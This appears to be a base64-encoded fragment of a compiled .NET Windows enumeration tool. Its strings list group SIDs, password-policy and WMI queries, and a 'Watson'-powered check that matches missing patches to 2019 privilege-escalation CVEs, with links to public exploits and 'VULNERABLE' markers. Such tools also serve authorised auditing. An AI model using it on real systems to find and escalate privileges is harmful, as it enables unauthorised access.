AMgAtADUANQAxAAEhQgBhAGMAawB1AHAAIABPAHAAZQByAGEAdABvAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANQAyAAEXUgBlAHAAbABpAGMAYQB0AG8AcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA4ADIAAT1TAHQAbwByAGEAZwBlACAAUgBlAHAAbABpAGMAYQAgAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAcwAAF1MALQAxAC0ANQAtADYANAAtADEAMAABJ04AVABMAE0AIABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AABdTAC0AMQAtADUALQA2ADQALQAxADQAAS9TAEMAaABhAG4AbgBlAGwAIABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AABdTAC0AMQAtADUALQA2ADQALQAyADEAAStEAGkAZwBlAHMAdAAgAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAAEVMALQAxAC0ANQAtADgAMAABFU4AVAAgAFMAZQByAHYAaQBjAGUAAA9TAC0AMQAtADMALQAyAAEpQwByAGUAYQB0AG8AcgAgAE8AdwBuAGUAcgAgAFMAZQByAHYAZQByAAAPUwAtADEALQAzAC0AMwABKUMAcgBlAGEAdABvAHIAIABHAHIAbwB1AHAAIABTAGUAcgB2AGUAcgAAD1MALQAxAC0ANQAtADgAAQtQAHIAbwB4AHkAABFTAC0AMQAtADUALQAxADUAARlTAC0AMQAtADUALQAzADIALQA1ADUANAABVUIAdQBpAGwAdABpAG4AXABQAHIAZQAtAFcAaQBuAGQAbwB3AHMAIAAyADAAMAAwACAAQwBvAG0AcABhAHQAaQBiAGwAZQAgAEEAYwBjAGUAcwBzAAEZUwAtADEALQA1AC0AMwAyAC0ANQA1ADUAATlCAHUAaQBsAHQAaQBuAFwAUgBlAG0AbwB0AGUAIABEAGUAcwBrAHQAbwBwACAAVQBzAGUAcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA1ADYAAU9CAHUAaQBsAHQAaQBuAFwATgBlAHQAdwBvAHIAawAgAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AIABPAHAAZQByAGEAdABvAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANQA3AAFNQgB1AGkAbAB0AGkAbgBcAEkAbgBjAG8AbQBpAG4AZwAgAEYAbwByAGUAcwB0ACAAVAByAHUAcwB0ACAAQgB1AGkAbABkAGUAcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA1ADgAAUNCAHUAaQBsAHQAaQBuAFwAUABlAHIAZgBvAHIAbQBhAG4AYwBlACAATQBvAG4AaQB0AG8AcgAgAFUAcwBlAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANQA5AAE7QgB1AGkAbAB0AGkAbgBcAFAAZQByAGYAbwByAG0AYQBuAGMAZQAgAEwAbwBnACAAVQBzAGUAcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA2ADAAAVVCAHUAaQBsAHQAaQBuAFwAVwBpAG4AZABvAHcAcwAgAEEAdQB0AGgAbwByAGkAegBhAHQAaQBvAG4AIABBAGMAYwBlAHMAcwAgAEcAcgBvAHUAcAAAGVMALQAxAC0ANQAtADMAMgAtADUANgAxAAFPQgB1AGkAbAB0AGkAbgBcAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAATABpAGMAZQBuAHMAZQAgAFMAZQByAHYAZQByAHMAABlTAC0AMQAtADUALQAzADIALQA1ADYAMgABO0IAdQBpAGwAdABpAG4AXABEAGkAcwB0AHIAaQBiAHUAdABlAGQAIABDAE8ATQAgAFUAcwBlAHIAcwAAD1MALQAxAC0AMgAtADEAARtDAG8AbgBzAG8AbABlACAATABvAGcAbwBuAAAdUwAtADEALQA1AC0AMgAxAC4AKwAtADQAOQA4AAFPRQBuAHQAZQByAHAAcgBpAHMAZQAgAFIAZQBhAGQALQBvAG4AbAB5ACAARABvAG0AYQBpAG4AIABDAG8AbgB0AHIAbwBsAGwAZQByAHMAAR1TAC0AMQAtADUALQAyADEALgArAC0ANQAyADEAATlSAGUAYQBkAC0AbwBuAGwAeQAgAEQAbwBtAGEAaQBuACAAQwBvAG4AdAByAG8AbABsAGUAcgBzAAEdUwAtADEALQA1AC0AMgAxAC4AKwAtADUANwAxAAFPQQBsAGwAbwB3AGUAZAAgAFIATwBEAEMAIABQAGEAcwBzAHcAbwByAGQAIABSAGUAcABsAGkAYwBhAHQAaQBvAG4AIABHAHIAbwB1AHAAAB1TAC0AMQAtADUALQAyADEALgArAC0ANQA3ADIAAU1EAGUAbgBpAGUAZAAgAFIATwBEAEMAIABQAGEAcwBzAHcAbwByAGQAIABSAGUAcABsAGkAYwBhAHQAaQBvAG4AIABHAHIAbwB1AHAAABlTAC0AMQAtADUALQAzADIALQA1ADYAOQABQQkAQgB1AGkAbAB0AGkAbgBcAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABPAHAAZQByAGEAdABvAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANwAzAAEzQgB1AGkAbAB0AGkAbgBcAEUAdgBlAG4AdAAgAEwAbwBnACAAUgBlAGEAZABlAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANwA0AAFPQgB1AGkAbAB0AGkAbgBcAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgAFMAZQByAHYAaQBjAGUAIABEAEMATwBNACAAQQBjAGMAZQBzAHMAABVTAC0AMQAtADUALQA4ADAALQAwAAExTgBUACAAUwBlAHIAdgBpAGMAZQBzAFwAQQBsAGwAIABTAGUAcgB2AGkAYwBlAHMAABVTAC0AMQAtADUALQA4ADMALQAwAAFHTgBUACAAVgBpAHIAdAB1AGEAbAAgAE0AYQBjAGgAaQBuAGUAXABWAGkAcgB0AHUAYQBsACAATQBhAGMAaABpAG4AZQBzAAAVUwAtADEALQA1AC0AOQAwAC0AMAABS1cAaQBuAGQAbwB3AHMAIABNAGEAbgBhAGcAZQByAFwAVwBpAG4AZABvAHcAcwAgAE0AYQBuAGEAZwBlAHIAIABHAHIAbwB1AHAAABFTAC0AMQAtADEANgAtADAAATNVAG4AdAByAHUAcwB0AGUAZAAgAE0AYQBuAGQAYQB0AG8AcgB5ACAATABlAHYAZQBsAAAXUwAtADEALQAxADYALQA0ADAAOQA2AAEnTABvAHcAIABNAGEAbgBkAGEAdABvAHIAeQAgAEwAZQB2AGUAbAAAF1MALQAxAC0AMQA2AC0AOAAxADkAMgABLU0AZQBkAGkAdQBtACAATQBhAG4AZABhAHQAbwByAHkAIABMAGUAdgBlAGwAABdTAC0AMQAtADEANgAtADgANAA0ADgAATdNAGUAZABpAHUAbQAgAFAAbAB1AHMAIABNAGEAbgBkAGEAdABvAHIAeQAgAEwAZQB2AGUAbAAAGVMALQAxAC0AMQA2AC0AMQAyADIAOAA4AAEpSABpAGcAaAAgAE0AYQBuAGQAYQB0AG8AcgB5ACAATABlAHYAZQBsAAAZUwAtADEALQAxADYALQAxADYAMwA4ADQAAS1TAHkAcwB0AGUAbQAgAE0AYQBuAGQAYQB0AG8AcgB5ACAATABlAHYAZQBsAAAZUwAtADEALQAxADYALQAyADAANAA4ADAAAUNQAHIAbwB0AGUAYwB0AGUAZAAgAFAAcgBvAGMAZQBzAHMAIABNAGEAbgBkAGEAdABvAHIAeQAgAEwAZQB2AGUAbAAAGVMALQAxAC0AMQA2AC0AMgA4ADYANwAyAAE9UwBlAGMAdQByAGUAIABQAHIAbwBjAGUAcwBzACAATQBhAG4AZABhAHQAbwByAHkAIABMAGUAdgBlAGwAAB9TAC0AMQAtADUALQAyADEALQAuACsALQA1ADIAMgABOUMAbABvAG4AZQBhAGIAbABlACAARABvAG0AYQBpAG4AIABDAG8AbgB0AHIAbwBsAGwAZQByAHMAABlTAC0AMQAtADUALQAzADIALQA1ADcANQABQ0IAdQBpAGwAdABpAG4AXABSAEQAUwAgAFIAZQBtAG8AdABlACAAQQBjAGMAZQBzAHMAIABTAGUAcgB2AGUAcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA3ADYAATlCAHUAaQBsAHQAaQBuAFwAUgBEAFMAIABFAG4AZABwAG8AaQBuAHQAIABTAGUAcgB2AGUAcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA3ADcAAT1CAHUAaQBsAHQAaQBuAFwAUgBEAFMAIABNAGEAbgBhAGcAZQBtAGUAbgB0ACAAUwBlAHIAdgBlAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANwA4AAE9QgB1AGkAbAB0AGkAbgBcAEgAeQBwAGUAcgAtAFYAIABBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAARlTAC0AMQAtADUALQAzADIALQA1ADcAOQABV0IAdQBpAGwAdABpAG4AXABBAGMAYwBlAHMAcwAgAEMAbwBuAHQAcgBvAGwAIABBAHMAcwBpAHMAdABhAG4AYwBlACAATwBwAGUAcgBhAHQAbwByAHMAABlTAC0AMQAtADUALQAzADIALQA1ADgAMAABP0IAdQBpAGwAdABpAG4AXABSAGUAbQBvAHQAZQAgAE0AYQBuAGEAZwBlAG0AZQBuAHQAIABVAHMAZQByAHMAABNTAC0AMQAtADUALQAxADEAMwABG0wAbwBjAGEAbAAgAGEAYwBjAG8AdQBuAHQAABNTAC0AMQAtADUALQAxADEANAABYUwAbwBjAGEAbAAgAGEAYwBjAG8AdQBuAHQAIABhAG4AZAAgAG0AZQBtAGIAZQByACAAbwBmACAAQQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBzACAAZwByAG8AdQBwAAAXUwAtADEALQA1AC0ANgA0AC0AMwA2AAE5QwBsAG8AdQBkACAAQQBjAGMAbwB1AG4AdAAgAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAAA14AAAMkAACAhyAAIABbAFgAXQAgAEUAeABjAGUAcAB0AGkAbwBuADoAIAB7ADAAfQAKACAAIAAgACAAQwBoAGUAYwBrAGkAbgBnACAAdQBzAGkAbgBnACAAdABoAGUAIABvAHQAaABlAHIAIABQAHIAaQBuAGMAaQBwAGEAbAAgAEMAbwBuAHQAZQB4AHQAAGdTAEUATABFAEMAVAAgACoAIABGAFIATwBNACAAVwBpAG4AMwAyAF8AVQBzAGUAcgBQAHIAbwBmAGkAbABlACAAVwBIAEUAUgBFACAATABvAGEAZABlAGQAIAA9ACAAVAByAHUAZQAAGU4AVAAgAEEAVQBUAEgATwBSAEkAVABZAAATbABvAGMAYQBsAGgAbwBzAHQAAB97ADAAfQAuAHsAMQB9AC4AewAyAH0ALgB7ADMAfQAAI1cAaQBuADMAMgBfAFUAcwBlAHIAUAByAG8AZgBpAGwAZQAAHU0AYQB4AFAAYQBzAHMAdwBvAHIAZABBAGcAZQAAHU0AaQBuAFAAYQBzAHMAdwBvAHIAZABBAGcAZQAAI00AaQBuAFAAYQBzAHMAdwBvAHIAZABMAGUAbgBnAHQAaAAAK1AAYQBzAHMAdwBvAHIAZABIAGkAcwB0AG8AcgB5AEwAZQBuAGcAdABoAAAlUABhAHMAcwB3AG8AcgBkAFAAcgBvAHAAZQByAHQAaQBlAHMAACNEAGUAZgBhAHUAbAB0AEQAbwBtAGEAaQBuAE4AYQBtAGUAAB9EAGUAZgBhAHUAbAB0AFUAcwBlAHIATgBhAG0AZQAAH0QAZQBmAGEAdQBsAHQAUABhAHMAcwB3AG8AcgBkAAApQQBsAHQARABlAGYAYQB1AGwAdABEAG8AbQBhAGkAbgBOAGEAbQBlAAAlQQBsAHQARABlAGYAYQB1AGwAdABVAHMAZQByAE4AYQBtAGUAACVBAGwAdABEAGUAZgBhAHUAbAB0AFAAYQBzAHMAdwBvAHIAZAAAESAAWwAhAF0AIAB7ADAAfQAAW1MARQBMAEUAQwBUACAAQgB1AGkAbABkAE4AdQBtAGIAZQByACAARgBSAE8ATQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtAAAXQgB1AGkAbABkAE4AdQBtAGIAZQByAAA3IAAgACAAIAAgACAAIABbACEAXQAgAHsAMAB9ACAAOgAgAFYAVQBMAE4ARQBSAEEAQgBMAEUAAB8gACAAIAAgACAAIAAgACAAWwA+AF0AIAB7ADAAfQAAKSAAIAAgACAARgBpAG4AaQBzAGgAZQBkAC4AIABGAG8AdQBuAGQAIAAANyAAcABvAHQAZQBuAHQAaQBhAGwAIAB2AHUAbABuAGUAcgBhAGIAaQBsAGkAdABpAGUAcwAuAABVIAAgACAAIAAgACAARgBpAG4AaQBzAGgAZQBkAC4AIABGAG8AdQBuAGQAIAAwACAAdgB1AGwAbgBlAHIAYQBiAGkAbABpAHQAaQBlAHMALgANAAoAABtDAFYARQAtADIAMAAxADkALQAwADgAMwA2AAFLaAB0AHQAcABzADoALwAvAGUAeABwAGwAbwBpAHQALQBkAGIALgBjAG8AbQAvAGUAeABwAGwAbwBpAHQAcwAvADQANgA3ADEAOAABgStoAHQAdABwAHMAOgAvAC8AZABlAGMAbwBkAGUAcgAuAGMAbABvAHUAZAAvADIAMAAxADkALwAwADQALwAyADkALwBjAG8AbQBiAGkAbgBpAGcALQBsAHUAYQBmAHYALQBwAG8AcwB0AGwAdQBhAGYAdgBwAG8AcwB0AHIAZQBhAGQAdwByAGkAdABlAC0AcgBhAGMAZQAtAGMAbwBuAGQAaQB0AGkAbwBuAC0AcABlAC0AdwBpAHQAaAAtAGQAaQBhAGcAaAB1AGIALQBjAG8AbABsAGUAYwB0AG8AcgAtAGUAeABwAGwAbwBpAHQALQBmAHIAbwBtAC0AcwB0AGEAbgBkAGEAcgBkAC0AdQBzAGUAcgAtAHQAbwAtAHMAeQBzAHQAZQBtAC8AARtDAFYARQAtADIAMAAxADkALQAwADgANAAxAAFVaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwByAG8AZwB1AGUALQBrAGQAYwAvAEMAVgBFAC0AMgAwADEAOQAtADAAOAA0ADEAAVNoAHQAdABwAHMAOgAvAC8AcgBhAHMAdABhAG0AbwB1AHMAZQAuAG0AZQAvAHQAYQBnAHMALwBjAHYAZQAtADIAMAAxADkALQAwADgANAAxAC8AARtDAFYARQAtADIAMAAxADkALQAxADAANgA0AAFfaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcgB5AHQAaABtAHMAdABpAGMAawAuAG4AZQB0AC8AcABvAHMAdABzAC8AYwB2AGUALQAyADAAMQA5AC0AMQAwADYANAAvAAEbQwBWAEUALQAyADAAMQA5AC0AMQAxADMAMAABXWgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AUwAzAGMAdQByADMAVABoADEAcwBTAGgAMQB0AC8AUwBoAGEAcgBwAEIAeQBlAEIAZQBhAHIAABtDAFYARQAtADIAMAAxADkALQAxADIANQAzAAFXaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBwAGEAZABvAHYAYQBoADQAYwBrAC8AQwBWAEUALQAyADAAMQA5AC0AMQAyADUAMwABG0MAVgBFAC0AMgAwADEAOQAtADEAMwAxADUAAYCraAB0AHQAcABzADoALwAvAG8AZgBmAHMAZQBjAC4AYQBsAG0AbwBuAGQALgBjAG8AbgBzAHUAbAB0AGkAbgBnAC8AdwBpAG4AZABvAHcAcwAtAGUAcgByAG8AcgAtAHIAZQBwAG8AcgB0AGkAbgBnAC0AYQByAGIAaQB0AHIAYQByAHkALQBmAGkAbABlAC0AbQBvAHYAZQAtAGUAbwBwAC4AaAB0AG0AbAABG0MAVgBFAC0AMgAwADEAOQAtADEAMwA4ADUAAVdoAHQAdABwAHMAOgAvAC8AdwB3AHcALgB5AG8AdQB0AHUAYgBlAC4AYwBvAG0ALwB3AGEAdABjAGgAPwB2AD0ASwA2AGcASABuAHIALQBWAGsAQQBnAAEbQwBWAEUALQAyADAAMQA5AC0AMQAzADgAOAABUWgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AagBhAHMANQAwADIAbgAvAEMAVgBFAC0AMgAwADEAOQAtADEAMwA4ADgAARtDAFYARQAtADIAMAAxADkALQAxADQAMAA1AAGBkWgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG4AYwBjAGcAcgBvAHUAcAAuAHQAcgB1AHMAdAAvAHUAawAvAGEAYgBvAHUAdAAtAHUAcwAvAG4AZQB3AHMAcgBvAG8AbQAtAGEAbgBkAC0AZQB2AGUAbgB0AHMALwBiAGwAbwBnAHMALwAyADAAMQA5AC8AbgBvAHYAZQBtAGIAZQByAC8AYwB2AGUALQAyADAAMQA5AC0AMQA0ADAANQAtAGEAbgBkAC0AYwB2AGUALQAyADAAMQA5AC0AMQAzADIAMgAtAGUAbABlAHYAYQB0AGkAbwBuAC0AdABvAC0AcwB5AHMAdABlAG0ALQB2AGkAYQAtAHQAaABlAC0AdQBwAG4AcAAtAGQAZQB2AGkAYwBlAC0AaABvAHMAdAAtAHMAZQByAHYAaQBjAGUALQBhAG4AZAAtAHQAaABlAC0AdQBwAGQAYQB0AGUALQBvAHIAYwBoAGUAcwB0AHIAYQB0AG8AcgAtAHMAZQByAHYAaQBjAGUALwABCzEAMAAyADQAMAAACzEAMAA1ADgANgAACzEANAAzADkAMwAACzEANQAwADYAMwAACzEANgAyADkAOQAACzEANwAxADMANAAACzEANwA3ADYAMwAADzQANAA5ADMANAA3ADUAAA80ADQAOQA4ADMANwA1AAAPNAA0ADkAOQAxADUANAAADzQANQAwADUAMAA1ADEAAA80ADUAMAAzADIAOQAxAAAPNAA1ADAANwA0ADUAOAAADzQANQAxADIANAA5ADcAAA80ADUAMQA3ADIANwA2AAAPNAA1ADEANgAwADcAMAAADzQANQAyADIAMAAwADkAAA80ADUAMgAwADAAMQAxAAAPNAA1ADIANAAxADUAMwAADzQANQAyADUAMgAzADIAAA80ADUAMwAwADYAOAAxAAAPNAA0ADkAMwA0ADcAMAAADzQANAA5ADMANAA3ADMAAA80ADQAOQA5ADQAMQA4AAAPNAA0ADkANAA0ADQAMAAADzQANAA5ADkAMQA3ADcAAA80ADUAMAA1ADAANQAyAAAPNAA1ADAAMwAyADYANwAADzQANQAwADMAMgA5ADQAAA80ADUAMAA5ADQANwA1AAAPNAA1ADAANwA0ADUAOQAADzQANQAwADcANAA2ADAAAA80ADUAMQAyADQAOQA1AAAPNAA1ADEAMgA1ADEANwAADzQANQAxADYAMAA0ADQAAA80ADUAMQA2ADAANgAxAAAPNAA1ADIAMgAwADEAMAAADzQANQAxADkAOQA5ADgAAA80ADUAMgA0ADEANQAyAAAPNAA1ADIANQAyADMANgAADzQANQAzADAANgA4ADkAAA80ADQAOQAzADQANwA0AAAPNAA0ADkAMwA0ADMANgAADzQANAA5ADkAMQA2ADIAAA80ADQAOQA5ADEAOAAxAAAPNAA1ADAAMgAxADEAMgAADzQANQAwADUAMAA1ADUAAA80ADUAMAAzADIANwA5AAAPNAA1ADAAMwAyADgAOQAADzQANQAwADkANAA3ADYAAA80ADUAMAA3ADQANQAwAAAPNAA1ADAANwA0ADYANwAADzQANQAxADIANAA3ADQAAA80ADUAMQAyADUAMAA3AAAPNAA1ADEANgAwADUAOQAADzQANQAxADYAMAA2ADgAAA80ADUAMgAyADAAMQAxAAAPNAA1ADIAMAAwADEAMAAADzQANQAyADQAMQA1ADEAAA80ADUAMgA1ADIANAA1AAAPNAA1ADMAMAA3ADEAMQAADzQANAA5ADMANAA0ADEAAA80ADQAOQAzADQANAAwAAAPNAA0ADkAOQAxADQANwAADzQANAA5ADkAMQA3ADkAAA80ADUAMAA1ADAANgAyAAAPNAA1ADAAMwAyADgAMQAADzQANQAwADMAMgA4ADQAAA80ADUAMAA5ADQANwA3AAAPNAA1ADAANwA0ADUANQAADzQANQAwADcANAA2ADUAAA80ADUAMQAyADQAOQA0AAAPNAA1ADEAMgA1ADEANgAADzQANQAxADYAMAA2ADYAAA80ADUAMQA2ADAANwAxAAAPNAA1ADIAMgAwADEAMgAADzQANQAyADAAMAAwADQAAA80ADUAMgA0ADEANQAwAAANNAA1ADIANQAyADQAAA80ADUAMwAwADcAMQA0AAAPNAA0ADkAMwA0ADYANAAADzQANAA5ADMANAAzADcAAA80ADQAOQA5ADEANgA3AAAPNAA0ADkAOQAxADgAMwAADzQANQAwADUAMAA2ADQAAA80ADUAMAAzADIAOAA2AAAPNAA1ADAAMwAyADgAOAAADzQANQAwADkANAA3ADgAAA80ADUAMAA3ADQAMwA1AAAPNAA1ADAANwA0ADYANgAADzQANQAxADIANQAwADEAAA80ADUAMQAyADUAMAA5AAAPNAA1ADEANgAwADQANQAADzQANQAxADYAMAA1ADgAAA80ADUAMgAyADAAMQA0AAAPNAA1ADIAMAAwADAAOAAADzQANQAyADQAMQA0ADkAAA80ADUAMgA1ADIAMwA3AAARQgA0ADUAMwAwADcAMQA3AAAPNAA0ADkAMwA1ADAAOQAADzQANAA5ADUANgA2ADcAAA80ADQAOQA0ADQANAAxAAAPNAA0ADkANwA5ADMANAAADzQANQAwADEAOAAzADUAAA80ADUAMAA1ADAANQA2AAAPNAA1ADAAMQAzADcAMQAADzQANQAwADMAMwAyADcAAA80ADUAMAA5ADQANwA5AAAPNAA1ADAANQA2ADUAOAAADzQANQAwADcANAA2ADkAAA80ADUAMQAxADUANQAzAAAPNAA1ADEAMgA1ADMANAAADzQANQAxADIANQA3ADgAAA80ADUAMQA2ADAANwA3AAAPNAA1ADIAMgAwADEANQAADzQANQAxADkAMwAzADgAAA80ADUAMgA0ADEANAA4AAAPNAA1ADIAMwAyADAANQAADzQANQAzADAANwAxADUAAA80ADUAMgA1ADIANAAxAAAPNAA1ADMAMAA3ADEANwAACzEAOAAzADYAMgAADzQANQAwADMAMgA5ADMAAA80ADUAMAAxADMANwA1AAAPNAA1ADAANQA5ADAAMwAADzQANQAwADcANAA1ADMAAA80ADUAMQAyADUAMAA4AAAPNAA1ADEAMgA5ADQAMQAADzQANQAxADUAMwA4ADQ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